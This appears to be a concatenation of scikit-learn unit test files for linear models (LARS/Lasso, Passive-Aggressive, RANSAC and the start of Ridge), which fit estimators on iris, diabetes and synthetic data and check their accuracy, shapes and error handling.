    # diverge thereafter.  See
    # https://gist.github.com/michigraber/7e7d7c75eca694c7a6ff

    for alpha in np.linspace(6e-1, 1 - 1e-2, 20):
        clf1 = linear_model.LassoLars(fit_intercept=False, alpha=alpha,
                                      normalize=False, positive=True).fit(X, y)
        clf2 = linear_model.Lasso(fit_intercept=False, alpha=alpha, tol=1e-8,
                                  normalize=False, positive=True).fit(X, y)
        err = linalg.norm(clf1.coef_ - clf2.coef_)
        assert_less(err, 1e-3)

    # normalized data
    X = diabetes.data
    alphas, _, lasso_path = linear_model.lars_path(X, y, method='lasso',
                                                   positive=True)
    lasso_cd = linear_model.Lasso(fit_intercept=False, normalize=True,
                                  tol=1e-8, positive=True)
    for c, a in zip(lasso_path.T[:-1], alphas[:-1]):  # don't include alpha=0
        lasso_cd.alpha = a
        lasso_cd.fit(X, y)
        error = linalg.norm(c - lasso_cd.coef_)
        assert_less(error, 0.01)












import numpy as np
import scipy.sparse as sp

from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_array_almost_equal, assert_array_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_raises

from sklearn.base import ClassifierMixin
from sklearn.utils import check_random_state
from sklearn.datasets import load_iris
from sklearn.linear_model import PassiveAggressiveClassifier
from sklearn.linear_model import PassiveAggressiveRegressor

iris = load_iris()
random_state = check_random_state(12)
indices = np.arange(iris.data.shape[0])
random_state.shuffle(indices)
X = iris.data[indices]
y = iris.target[indices]
X_csr = sp.csr_matrix(X)


class MyPassiveAggressive(ClassifierMixin):

    def __init__(self, C=1.0, epsilon=0.01, loss="hinge",
                 fit_intercept=True, n_iter=1, random_state=None):
        self.C = C
        self.epsilon = epsilon
        self.loss = loss
        self.fit_intercept = fit_intercept
        self.n_iter = n_iter

    def fit(self, X, y):
        n_samples, n_features = X.shape
        self.w = np.zeros(n_features, dtype=np.float64)
        self.b = 0.0

        for t in range(self.n_iter):
            for i in range(n_samples):
                p = self.project(X[i])
                if self.loss in ("hinge", "squared_hinge"):
                    loss = max(1 - y[i] * p, 0)
                else:
                    loss = max(np.abs(p - y[i]) - self.epsilon, 0)

                sqnorm = np.dot(X[i], X[i])

                if self.loss in ("hinge", "epsilon_insensitive"):
                    step = min(self.C, loss / sqnorm)
                elif self.loss in ("squared_hinge",
                                   "squared_epsilon_insensitive"):
                    step = loss / (sqnorm + 1.0 / (2 * self.C))

                if self.loss in ("hinge", "squared_hinge"):
                    step *= y[i]
                else:
                    step *= np.sign(y[i] - p)

                self.w += step * X[i]
                if self.fit_intercept:
                    self.b += step

    def project(self, X):
        return np.dot(X, self.w) + self.b


def test_classifier_accuracy():
    for data in (X, X_csr):
        for fit_intercept in (True, False):
            clf = PassiveAggressiveClassifier(C=1.0, n_iter=30,
                                              fit_intercept=fit_intercept,
                                              random_state=0)
            clf.fit(data, y)
            score = clf.score(data, y)
            assert_greater(score, 0.79)


def test_classifier_partial_fit():
    classes = np.unique(y)
    for data in (X, X_csr):
        clf = PassiveAggressiveClassifier(C=1.0,
                                          fit_intercept=True,
                                          random_state=0)
        for t in range(30):
            clf.partial_fit(data, y, classes)
        score = clf.score(data, y)
        assert_greater(score, 0.79)


def test_classifier_refit():
    # Classifier can be retrained on different labels and features.
    clf = PassiveAggressiveClassifier().fit(X, y)
    assert_array_equal(clf.classes_, np.unique(y))

    clf.fit(X[:, :-1], iris.target_names[y])
    assert_array_equal(clf.classes_, iris.target_names)


def test_classifier_correctness():
    y_bin = y.copy()
    y_bin[y != 1] = -1

    for loss in ("hinge", "squared_hinge"):

        clf1 = MyPassiveAggressive(C=1.0,
                                   loss=loss,
                                   fit_intercept=True,
                                   n_iter=2)
        clf1.fit(X, y_bin)

        for data in (X, X_csr):
            clf2 = PassiveAggressiveClassifier(C=1.0,
                                               loss=loss,
                                               fit_intercept=True,
                                               n_iter=2, shuffle=False)
            clf2.fit(data, y_bin)

            assert_array_almost_equal(clf1.w, clf2.coef_.ravel(), decimal=2)


def test_classifier_undefined_methods():
    clf = PassiveAggressiveClassifier()
    for meth in ("predict_proba", "predict_log_proba", "transform"):
        assert_raises(AttributeError, lambda x: getattr(clf, x), meth)


def test_class_weights():
    # Test class weights.
    X2 = np.array([[-1.0, -1.0], [-1.0, 0], [-.8, -1.0],
                   [1.0, 1.0], [1.0, 0.0]])
    y2 = [1, 1, 1, -1, -1]

    clf = PassiveAggressiveClassifier(C=0.1, n_iter=100, class_weight=None,
                                      random_state=100)
    clf.fit(X2, y2)
    assert_array_equal(clf.predict([[0.2, -1.0]]), np.array([1]))

    # we give a small weights to class 1
    clf = PassiveAggressiveClassifier(C=0.1, n_iter=100,
                                      class_weight={1: 0.001},
                                      random_state=100)
    clf.fit(X2, y2)

    # now the hyperplane should rotate clock-wise and
    # the prediction on this point should shift
    assert_array_equal(clf.predict([[0.2, -1.0]]), np.array([-1]))


def test_partial_fit_weight_class_balanced():
    # partial_fit with class_weight='balanced' not supported
    clf = PassiveAggressiveClassifier(class_weight="balanced")
    assert_raises(ValueError, clf.partial_fit, X, y, classes=np.unique(y))


def test_equal_class_weight():
    X2 = [[1, 0], [1, 0], [0, 1], [0, 1]]
    y2 = [0, 0, 1, 1]
    clf = PassiveAggressiveClassifier(C=0.1, n_iter=1000, class_weight=None)
    clf.fit(X2, y2)

    # Already balanced, so "balanced" weights should have no effect
    clf_balanced = PassiveAggressiveClassifier(C=0.1, n_iter=1000,
                                               class_weight="balanced")
    clf_balanced.fit(X2, y2)

    clf_weighted = PassiveAggressiveClassifier(C=0.1, n_iter=1000,
                                               class_weight={0: 0.5, 1: 0.5})
    clf_weighted.fit(X2, y2)

    # should be similar up to some epsilon due to learning rate schedule
    assert_almost_equal(clf.coef_, clf_weighted.coef_, decimal=2)
    assert_almost_equal(clf.coef_, clf_balanced.coef_, decimal=2)


def test_wrong_class_weight_label():
    # ValueError due to wrong class_weight label.
    X2 = np.array([[-1.0, -1.0], [-1.0, 0], [-.8, -1.0],
                   [1.0, 1.0], [1.0, 0.0]])
    y2 = [1, 1, 1, -1, -1]

    clf = PassiveAggressiveClassifier(class_weight={0: 0.5})
    assert_raises(ValueError, clf.fit, X2, y2)


def test_wrong_class_weight_format():
    # ValueError due to wrong class_weight argument type.
    X2 = np.array([[-1.0, -1.0], [-1.0, 0], [-.8, -1.0],
                   [1.0, 1.0], [1.0, 0.0]])
    y2 = [1, 1, 1, -1, -1]

    clf = PassiveAggressiveClassifier(class_weight=[0.5])
    assert_raises(ValueError, clf.fit, X2, y2)

    clf = PassiveAggressiveClassifier(class_weight="the larch")
    assert_raises(ValueError, clf.fit, X2, y2)


def test_regressor_mse():
    y_bin = y.copy()
    y_bin[y != 1] = -1

    for data in (X, X_csr):
        for fit_intercept in (True, False):
            reg = PassiveAggressiveRegressor(C=1.0, n_iter=50,
                                             fit_intercept=fit_intercept,
                                             random_state=0)
            reg.fit(data, y_bin)
            pred = reg.predict(data)
            assert_less(np.mean((pred - y_bin) ** 2), 1.7)


def test_regressor_partial_fit():
    y_bin = y.copy()
    y_bin[y != 1] = -1

    for data in (X, X_csr):
        reg = PassiveAggressiveRegressor(C=1.0,
                                         fit_intercept=True,
                                         random_state=0)
        for t in range(50):
            reg.partial_fit(data, y_bin)
        pred = reg.predict(data)
        assert_less(np.mean((pred - y_bin) ** 2), 1.7)


def test_regressor_correctness():
    y_bin = y.copy()
    y_bin[y != 1] = -1

    for loss in ("epsilon_insensitive", "squared_epsilon_insensitive"):
        reg1 = MyPassiveAggressive(C=1.0,
                                   loss=loss,
                                   fit_intercept=True,
                                   n_iter=2)
        reg1.fit(X, y_bin)

        for data in (X, X_csr):
            reg2 = PassiveAggressiveRegressor(C=1.0,
                                              loss=loss,
                                              fit_intercept=True,
                                              n_iter=2, shuffle=False)
            reg2.fit(data, y_bin)

            assert_array_almost_equal(reg1.w, reg2.coef_.ravel(), decimal=2)


def test_regressor_undefined_methods():
    reg = PassiveAggressiveRegressor()
    for meth in ("transform",):
        assert_raises(AttributeError, lambda x: getattr(reg, x), meth)






from scipy import sparse

import numpy as np
from scipy import sparse

from numpy.testing import assert_equal, assert_raises
from numpy.testing import assert_array_almost_equal
from numpy.testing import assert_array_equal

from sklearn.utils import check_random_state
from sklearn.utils.testing import assert_raises_regexp
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_almost_equal
from sklearn.linear_model import LinearRegression, RANSACRegressor, Lasso
from sklearn.linear_model.ransac import _dynamic_max_trials


# Generate coordinates of line
X = np.arange(-200, 200)
y = 0.2 * X + 20
data = np.column_stack([X, y])

# Add some faulty data
outliers = np.array((10, 30, 200))
data[outliers[0], :] = (1000, 1000)
data[outliers[1], :] = (-1000, -1000)
data[outliers[2], :] = (-100, -50)

X = data[:, 0][:, np.newaxis]
y = data[:, 1]


def test_ransac_inliers_outliers():

    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5, random_state=0)

    # Estimate parameters of corrupted data
    ransac_estimator.fit(X, y)

    # Ground truth / reference inlier mask
    ref_inlier_mask = np.ones_like(ransac_estimator.inlier_mask_
                                   ).astype(np.bool_)
    ref_inlier_mask[outliers] = False

    assert_equal(ransac_estimator.inlier_mask_, ref_inlier_mask)


def test_ransac_is_data_valid():
    def is_data_valid(X, y):
        assert_equal(X.shape[0], 2)
        assert_equal(y.shape[0], 2)
        return False

    X = np.random.rand(10, 2)
    y = np.random.rand(10, 1)

    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5,
                                       is_data_valid=is_data_valid,
                                       random_state=0)

    assert_raises(ValueError, ransac_estimator.fit, X, y)


def test_ransac_is_model_valid():
    def is_model_valid(estimator, X, y):
        assert_equal(X.shape[0], 2)
        assert_equal(y.shape[0], 2)
        return False

    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5,
                                       is_model_valid=is_model_valid,
                                       random_state=0)

    assert_raises(ValueError, ransac_estimator.fit, X, y)


def test_ransac_max_trials():
    base_estimator = LinearRegression()

    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5, max_trials=0,
                                       random_state=0)
    assert_raises(ValueError, ransac_estimator.fit, X, y)

    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5, max_trials=11,
                                       random_state=0)
    assert getattr(ransac_estimator, 'n_trials_', None) is None
    ransac_estimator.fit(X, y)
    assert_equal(ransac_estimator.n_trials_, 2)


def test_ransac_stop_n_inliers():
    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5, stop_n_inliers=2,
                                       random_state=0)
    ransac_estimator.fit(X, y)

    assert_equal(ransac_estimator.n_trials_, 1)


def test_ransac_stop_score():
    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5, stop_score=0,
                                       random_state=0)
    ransac_estimator.fit(X, y)

    assert_equal(ransac_estimator.n_trials_, 1)


def test_ransac_score():
    X = np.arange(100)[:, None]
    y = np.zeros((100, ))
    y[0] = 1
    y[1] = 100

    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=0.5, random_state=0)
    ransac_estimator.fit(X, y)

    assert_equal(ransac_estimator.score(X[2:], y[2:]), 1)
    assert_less(ransac_estimator.score(X[:2], y[:2]), 1)


def test_ransac_predict():
    X = np.arange(100)[:, None]
    y = np.zeros((100, ))
    y[0] = 1
    y[1] = 100

    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=0.5, random_state=0)
    ransac_estimator.fit(X, y)

    assert_equal(ransac_estimator.predict(X), np.zeros(100))


def test_ransac_resid_thresh_no_inliers():
    # When residual_threshold=0.0 there are no inliers and a
    # ValueError with a message should be raised
    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=0.0, random_state=0)

    assert_raises_regexp(ValueError,
                    "No inliers.*residual_threshold.*0\.0",
                    ransac_estimator.fit, X, y)


def test_ransac_sparse_coo():
    X_sparse = sparse.coo_matrix(X)

    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5, random_state=0)
    ransac_estimator.fit(X_sparse, y)

    ref_inlier_mask = np.ones_like(ransac_estimator.inlier_mask_
                                   ).astype(np.bool_)
    ref_inlier_mask[outliers] = False

    assert_equal(ransac_estimator.inlier_mask_, ref_inlier_mask)


def test_ransac_sparse_csr():
    X_sparse = sparse.csr_matrix(X)

    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5, random_state=0)
    ransac_estimator.fit(X_sparse, y)

    ref_inlier_mask = np.ones_like(ransac_estimator.inlier_mask_
                                   ).astype(np.bool_)
    ref_inlier_mask[outliers] = False

    assert_equal(ransac_estimator.inlier_mask_, ref_inlier_mask)


def test_ransac_sparse_csc():
    X_sparse = sparse.csc_matrix(X)

    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5, random_state=0)
    ransac_estimator.fit(X_sparse, y)

    ref_inlier_mask = np.ones_like(ransac_estimator.inlier_mask_
                                   ).astype(np.bool_)
    ref_inlier_mask[outliers] = False

    assert_equal(ransac_estimator.inlier_mask_, ref_inlier_mask)


def test_ransac_none_estimator():

    base_estimator = LinearRegression()

    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5, random_state=0)
    ransac_none_estimator = RANSACRegressor(None, 2, 5, random_state=0)

    ransac_estimator.fit(X, y)
    ransac_none_estimator.fit(X, y)

    assert_array_almost_equal(ransac_estimator.predict(X),
                              ransac_none_estimator.predict(X))


def test_ransac_min_n_samples():
    base_estimator = LinearRegression()
    ransac_estimator1 = RANSACRegressor(base_estimator, min_samples=2,
                                        residual_threshold=5, random_state=0)
    ransac_estimator2 = RANSACRegressor(base_estimator,
                                        min_samples=2. / X.shape[0],
                                        residual_threshold=5, random_state=0)
    ransac_estimator3 = RANSACRegressor(base_estimator, min_samples=-1,
                                        residual_threshold=5, random_state=0)
    ransac_estimator4 = RANSACRegressor(base_estimator, min_samples=5.2,
                                        residual_threshold=5, random_state=0)
    ransac_estimator5 = RANSACRegressor(base_estimator, min_samples=2.0,
                                        residual_threshold=5, random_state=0)
    ransac_estimator6 = RANSACRegressor(base_estimator,
                                        residual_threshold=5, random_state=0)
    ransac_estimator7 = RANSACRegressor(base_estimator,
                                        min_samples=X.shape[0] + 1,
                                        residual_threshold=5, random_state=0)

    ransac_estimator1.fit(X, y)
    ransac_estimator2.fit(X, y)
    ransac_estimator5.fit(X, y)
    ransac_estimator6.fit(X, y)

    assert_array_almost_equal(ransac_estimator1.predict(X),
                              ransac_estimator2.predict(X))
    assert_array_almost_equal(ransac_estimator1.predict(X),
                              ransac_estimator5.predict(X))
    assert_array_almost_equal(ransac_estimator1.predict(X),
                              ransac_estimator6.predict(X))

    assert_raises(ValueError, ransac_estimator3.fit, X, y)
    assert_raises(ValueError, ransac_estimator4.fit, X, y)
    assert_raises(ValueError, ransac_estimator7.fit, X, y)


def test_ransac_multi_dimensional_targets():

    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       residual_threshold=5, random_state=0)

    # 3-D target values
    yyy = np.column_stack([y, y, y])

    # Estimate parameters of corrupted data
    ransac_estimator.fit(X, yyy)

    # Ground truth / reference inlier mask
    ref_inlier_mask = np.ones_like(ransac_estimator.inlier_mask_
                                   ).astype(np.bool_)
    ref_inlier_mask[outliers] = False

    assert_equal(ransac_estimator.inlier_mask_, ref_inlier_mask)


# XXX: Remove in 0.20
def test_ransac_residual_metric():
    residual_metric1 = lambda dy: np.sum(np.abs(dy), axis=1)
    residual_metric2 = lambda dy: np.sum(dy ** 2, axis=1)

    yyy = np.column_stack([y, y, y])

    base_estimator = LinearRegression()
    ransac_estimator0 = RANSACRegressor(base_estimator, min_samples=2,
                                        residual_threshold=5, random_state=0)
    ransac_estimator1 = RANSACRegressor(base_estimator, min_samples=2,
                                        residual_threshold=5, random_state=0,
                                        residual_metric=residual_metric1)
    ransac_estimator2 = RANSACRegressor(base_estimator, min_samples=2,
                                        residual_threshold=5, random_state=0,
                                        residual_metric=residual_metric2)

    # multi-dimensional
    ransac_estimator0.fit(X, yyy)
    assert_warns(DeprecationWarning, ransac_estimator1.fit, X, yyy)
    assert_warns(DeprecationWarning, ransac_estimator2.fit, X, yyy)
    assert_array_almost_equal(ransac_estimator0.predict(X),
                              ransac_estimator1.predict(X))
    assert_array_almost_equal(ransac_estimator0.predict(X),
                              ransac_estimator2.predict(X))

    # one-dimensional
    ransac_estimator0.fit(X, y)
    assert_warns(DeprecationWarning, ransac_estimator2.fit, X, y)
    assert_array_almost_equal(ransac_estimator0.predict(X),
                              ransac_estimator2.predict(X))

def test_ransac_residual_loss():
    loss_multi1 = lambda y_true, y_pred: np.sum(np.abs(y_true - y_pred), axis=1)
    loss_multi2 = lambda y_true, y_pred: np.sum((y_true - y_pred) ** 2, axis=1)

    loss_mono = lambda y_true, y_pred : np.abs(y_true - y_pred)
    yyy = np.column_stack([y, y, y])

    base_estimator = LinearRegression()
    ransac_estimator0 = RANSACRegressor(base_estimator, min_samples=2,
                                        residual_threshold=5, random_state=0)
    ransac_estimator1 = RANSACRegressor(base_estimator, min_samples=2,
                                        residual_threshold=5, random_state=0,
                                        loss=loss_multi1)
    ransac_estimator2 = RANSACRegressor(base_estimator, min_samples=2,
                                        residual_threshold=5, random_state=0,
                                        loss=loss_multi2)

    # multi-dimensional
    ransac_estimator0.fit(X, yyy)
    ransac_estimator1.fit(X, yyy)
    ransac_estimator2.fit(X, yyy)
    assert_array_almost_equal(ransac_estimator0.predict(X),
                              ransac_estimator1.predict(X))
    assert_array_almost_equal(ransac_estimator0.predict(X),
                              ransac_estimator2.predict(X))

    # one-dimensional
    ransac_estimator0.fit(X, y)
    ransac_estimator2.loss = loss_mono
    ransac_estimator2.fit(X, y)
    assert_array_almost_equal(ransac_estimator0.predict(X),
                              ransac_estimator2.predict(X))
    ransac_estimator3 = RANSACRegressor(base_estimator, min_samples=2,
                                        residual_threshold=5, random_state=0,
                                        loss="squared_loss")
    ransac_estimator3.fit(X, y)
    assert_array_almost_equal(ransac_estimator0.predict(X),
                              ransac_estimator2.predict(X))


def test_ransac_default_residual_threshold():
    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       random_state=0)

    # Estimate parameters of corrupted data
    ransac_estimator.fit(X, y)

    # Ground truth / reference inlier mask
    ref_inlier_mask = np.ones_like(ransac_estimator.inlier_mask_
                                   ).astype(np.bool_)
    ref_inlier_mask[outliers] = False

    assert_equal(ransac_estimator.inlier_mask_, ref_inlier_mask)


def test_ransac_dynamic_max_trials():
    # Numbers hand-calculated and confirmed on page 119 (Table 4.3) in
    #   Hartley, R.~I. and Zisserman, A., 2004,
    #   Multiple View Geometry in Computer Vision, Second Edition,
    #   Cambridge University Press, ISBN: 0521540518

    # e = 0%, min_samples = X
    assert_equal(_dynamic_max_trials(100, 100, 2, 0.99), 1)

    # e = 5%, min_samples = 2
    assert_equal(_dynamic_max_trials(95, 100, 2, 0.99), 2)
    # e = 10%, min_samples = 2
    assert_equal(_dynamic_max_trials(90, 100, 2, 0.99), 3)
    # e = 30%, min_samples = 2
    assert_equal(_dynamic_max_trials(70, 100, 2, 0.99), 7)
    # e = 50%, min_samples = 2
    assert_equal(_dynamic_max_trials(50, 100, 2, 0.99), 17)

    # e = 5%, min_samples = 8
    assert_equal(_dynamic_max_trials(95, 100, 8, 0.99), 5)
    # e = 10%, min_samples = 8
    assert_equal(_dynamic_max_trials(90, 100, 8, 0.99), 9)
    # e = 30%, min_samples = 8
    assert_equal(_dynamic_max_trials(70, 100, 8, 0.99), 78)
    # e = 50%, min_samples = 8
    assert_equal(_dynamic_max_trials(50, 100, 8, 0.99), 1177)

    # e = 0%, min_samples = 10
    assert_equal(_dynamic_max_trials(1, 100, 10, 0), 0)
    assert_equal(_dynamic_max_trials(1, 100, 10, 1), float('inf'))

    base_estimator = LinearRegression()
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       stop_probability=-0.1)
    assert_raises(ValueError, ransac_estimator.fit, X, y)
    ransac_estimator = RANSACRegressor(base_estimator, min_samples=2,
                                       stop_probability=1.1)
    assert_raises(ValueError, ransac_estimator.fit, X, y)


def test_ransac_fit_sample_weight():
    ransac_estimator = RANSACRegressor(random_state=0)
    n_samples = y.shape[0]
    weights = np.ones(n_samples)
    ransac_estimator.fit(X, y, weights)
    # sanity check
    assert_equal(ransac_estimator.inlier_mask_.shape[0], n_samples)

    ref_inlier_mask = np.ones_like(ransac_estimator.inlier_mask_
                                   ).astype(np.bool_)
    ref_inlier_mask[outliers] = False
    # check that mask is correct
    assert_array_equal(ransac_estimator.inlier_mask_, ref_inlier_mask)

    # check that fit(X)  = fit([X1, X2, X3],sample_weight = [n1, n2, n3]) where
    #   X = X1 repeated n1 times, X2 repeated n2 times and so forth
    random_state = check_random_state(0)
    X_ = random_state.randint(0, 200, [10, 1])
    y_ = np.ndarray.flatten(0.2 * X_ + 2)
    sample_weight = random_state.randint(0, 10, 10)
    outlier_X = random_state.randint(0, 1000, [1, 1])
    outlier_weight = random_state.randint(0, 10, 1)
    outlier_y = random_state.randint(-1000, 0, 1)

    X_flat = np.append(np.repeat(X_, sample_weight, axis=0),
                       np.repeat(outlier_X, outlier_weight, axis=0), axis=0)
    y_flat = np.ndarray.flatten(np.append(np.repeat(y_, sample_weight, axis=0),
                                np.repeat(outlier_y, outlier_weight, axis=0),
                                          axis=0))
    ransac_estimator.fit(X_flat, y_flat)
    ref_coef_ = ransac_estimator.estimator_.coef_

    sample_weight = np.append(sample_weight, outlier_weight)
    X_ = np.append(X_, outlier_X, axis=0)
    y_ = np.append(y_, outlier_y)
    ransac_estimator.fit(X_, y_, sample_weight)

    assert_almost_equal(ransac_estimator.estimator_.coef_, ref_coef_)

    # check that if base_estimator.fit doesn't support
    # sample_weight, raises error
    base_estimator = Lasso()
    ransac_estimator = RANSACRegressor(base_estimator)
    assert_raises(ValueError, ransac_estimator.fit, X, y, weights)






import numpy as np
import scipy.sparse as sp
from scipy import linalg
from itertools import product

from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_warns

from sklearn import datasets
from sklearn.metrics import mean_squared_error
from sklearn.metrics import make_scorer
from sklearn.metrics import get_scorer

from sklearn.linear_model.base import LinearRegression
from sklearn.linear_model.ridge import ridge_regression
from sklearn.linear_model.ridge import Ridge
from sklearn.linear_model.ridge import _RidgeGCV
from sklearn.linear_model.ridge import RidgeCV
from sklearn.linear_model.ridge import RidgeClassifier
from sklearn.linear_model.ridge import RidgeClassifierCV
from sklearn.linear_model.ridge import _solve_cholesky
from sklearn.linear_model.ridge import _solve_cholesky_kernel
from sklearn.datasets import make_regression

from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import KFold

from sklearn.utils import check_random_state
from sklearn.datasets import make_multilabel_classification

diabetes = datasets.load_diabetes()
X_diabetes, y_diabetes = diabetes.data, diabetes.target
ind = np.arange(X_diabetes.shape[0])
rng = np.random.RandomState(0)
rng.shuffle(ind)
ind = ind[:200]
X_diabetes, y_diabetes = X_diabetes[ind], y_diabetes[ind]

iris = datasets.load_iris()

X_iris = sp.csr_matrix(iris.data)
y_iris = iris.target

DENSE_FILTER = lambda X: X
SPARSE_FILTER = lambda X: sp.csr_matrix(X)


def test_ridge():
    # Ridge regression convergence test using score
    # TODO: for this test to be robust, we should use a dataset instead
    # of np.random.
    rng = np.random.RandomState(0)
    alpha = 1.0

    for solver in ("svd", "sparse_cg", "cholesky", "lsqr", "sag"):
        # With more samples than features
        n_samples, n_features = 6, 5
        y = rng.randn(n_samples)
        X = rng.randn(n_samples, n_features)

        ridge = Ridge(alpha=alpha, solver=solver)
        ridge.fit(X, y)
        assert_equal(ridge.coef_.shape, (X.shape[1], ))
        assert_greater(ridge.score(X, y), 0.47)

        if solver in ("cholesky", "sag"):
            # Currently the only solvers to support sample_weight.
            ridge.fit(X, y, sample_weight=np.ones(n_samples))
            assert_greater(ridge.score(X, y), 0.47)

        # With more features than samples
        n_samples, n_features = 5, 10
        y = rng.randn(n_samples)
        X = rng.randn(n_samples, n_features)
        ridge = Ridge(alpha=alpha, solver=solver)
        ridge.fit(X, y)
        assert_greater(ridge.score(X, y), .9)

        if solver in ("cholesky", "sag"):
            # Currently the only solvers to support sample_weight.
            ridge.fit(X, y, sample_weight=np.ones(n_samples))
            assert_greater(ridge.score(X, y), 0.9)


def test_primal_dual_relationship():
    y = y_diabetes.reshape(-1, 1)
    coef = _solve_cholesky(X_diabetes, y, alpha=[1e-2])
    K = np.dot(X_diabetes, X_diabetes.T)
    dual_coef = _solve_cholesky_kernel(K, y, alpha=[1e-2])
    coef2 = np.dot(X_diabetes.T, dual_coef).T
    assert_array_almost_equal(coef, coef2)


def test_ridge_singular():
    # test on a singular matrix
    rng = np.random.RandomState(0)
    n_samples, n_features = 6, 6
    y = rng.randn(n_samples // 2)
    y = np.concatenate((y, y))
    X = rng.randn(n_samples // 2, n_features)
    X = np.concatenate((X, X), axis=0)

    ridge = Ridge(alpha=0)
    ridge.fit(X, y)
    assert_greater(ridge.score(X, y), 0.9)


def test_ridge_regression_sample_weights():
    rng = np.random.RandomState(0)

    for solver in ("cholesky", ):
        for n_samples, n_features in ((6, 5), (5, 10)):
            for alpha in (1.0, 1e-2):
                y = rng.randn(n_samples)
                X = rng.randn(n_samples, n_features)
                sample_weight = 1.0 + rng.rand(n_samples)

                coefs = ridge_regression(X, y,
                                         alpha=alpha,
                                         sample_weight=sample_weight,
                                         solver=solver)

                # Sample weight can be implemented via a simple rescaling
                # for the square loss.
                coefs2 = ridge_regression(
                    X * np.sqrt(sample_weight)[:, np.newaxis],
                    y * np.sqrt(sample_weight),
                    alpha=alpha, solver=solver)
                assert_array_almost_equal(coefs, coefs2)


def test_ridge_sample_weights():
    # TODO: loop over sparse data as well

    rng = np.random.RandomState(0)
    param_grid = product((1.0, 1e-2), (True, False),
                         ('svd', 'cholesky', 'lsqr', 'sparse_cg'))

    for n_samples, n_features in ((6, 5), (5, 10)):

        y = rng.randn(n_samples)
        X = rng.randn(n_samples, n_features)
        sample_weight = 1.0 + rng.rand(n_samples)

        for (alpha, intercept, solver) in param_grid:

            # Ridge with explicit sample_weight
            est = Ridge(alpha=alpha, fit_intercept=intercept, solver=solver)
            est.fit(X, y, sample_weight=sample_weight)
            coefs = est.coef_
            inter = est.intercept_

            # Closed form of the weighted regularized least square
            # theta = (X^T W X + alpha I)^(-1) * X^T W y
            W = np.diag(sample_weight)
            if intercept is False:
                X_aug = X
                I = np.eye(n_features)
            else:
                dummy_column = np.ones(shape=(n_samples, 1))
                X_aug = np.concatenate((dummy_column, X), axis=1)
                I = np.eye(n_features + 1)
                I[0, 0] = 0

            cf_coefs = linalg.solve(X_aug.T.dot(W).dot(X_aug) + alpha * I,
                                    X_aug.T.dot(W).dot(y))

            if intercept is False:
                assert_array_almost_equal(coefs, cf_coefs)
            else:
                assert_array_almost_equal(coefs, cf_coefs[1:])
                assert_almost_equal(inter, cf_coefs[0])


def test_ridge_shapes():
    # Test shape of coef_ and intercept_
    rng = np.random.RandomState(0)
    n_samples, n_features = 5, 10
    X = rng.randn(n_samples, n_features)
    y = rng.randn(n_samples)
    Y1 = y[:, np.newaxis]
    Y = np.c_[y, 1 + y]

    ridge = Ridge()

    ridge.fit(X, y)
    assert_equal(ridge.coef_.shape, (n_features,))
    assert_equal(ridge.intercept_.shape, ())

    ridge.fit(X, Y1)
    assert_equal(ridge.coef_.shape, (1, n_features))
    assert_equal(ridge.intercept_.shape, (1, ))

    ridge.fit(X, Y)
    assert_equal(ridge.coef_.shape, (2, n_features))
    assert_equal(ridge.intercept_.shape, (2, ))


def test_ridge_intercept():
    # Test intercept with multiple targets GH issue #708
    rng = np.random.RandomState(0)
    n_samples, n_features = 5, 10
    X = rng.randn(n_samples, n_features)
    y = rng.randn(n_samples)
    Y = np.c_[y, 1. + y]

    ridge = Ridge()

    ridge.fit(X, y)
    intercept = ridge.intercept_

    ridge.fit(X, Y)
    assert_almost_equal(ridge.intercept_[0], intercept)
    assert_almost_equal(ridge.intercept_[1], intercept + 1.)


def test_toy_ridge_object():
    # Test BayesianRegression ridge classifier
    # TODO: test also n_samples > n_features
    X = np.array([[1], [2]])
    Y = np.array([1, 2])
    reg = Ridge(alpha=0.0)
    reg.fit(X, Y)
    X_test = [[1], [2], [3], [4]]
    assert_almost_equal(reg.predict(X_test), [1., 2, 3, 4])

    assert_equal(len(reg.coef_.shape), 1)
    assert_equal(type(reg.intercept_), np.float64)

    Y = np.vstack((Y, Y)).T

    reg.fit(X, Y)
    X_test = [[1], [2], [3], [4]]

    assert_equal(len(reg.coef_.shape), 2)
    assert_equal(type(reg.intercept_), np.ndarray)


def test_ridge_vs_lstsq():
    # On alpha=0., Ridge and OLS yield the same solution.

    rng = np.random.RandomState(0)
    # we need more samples than features
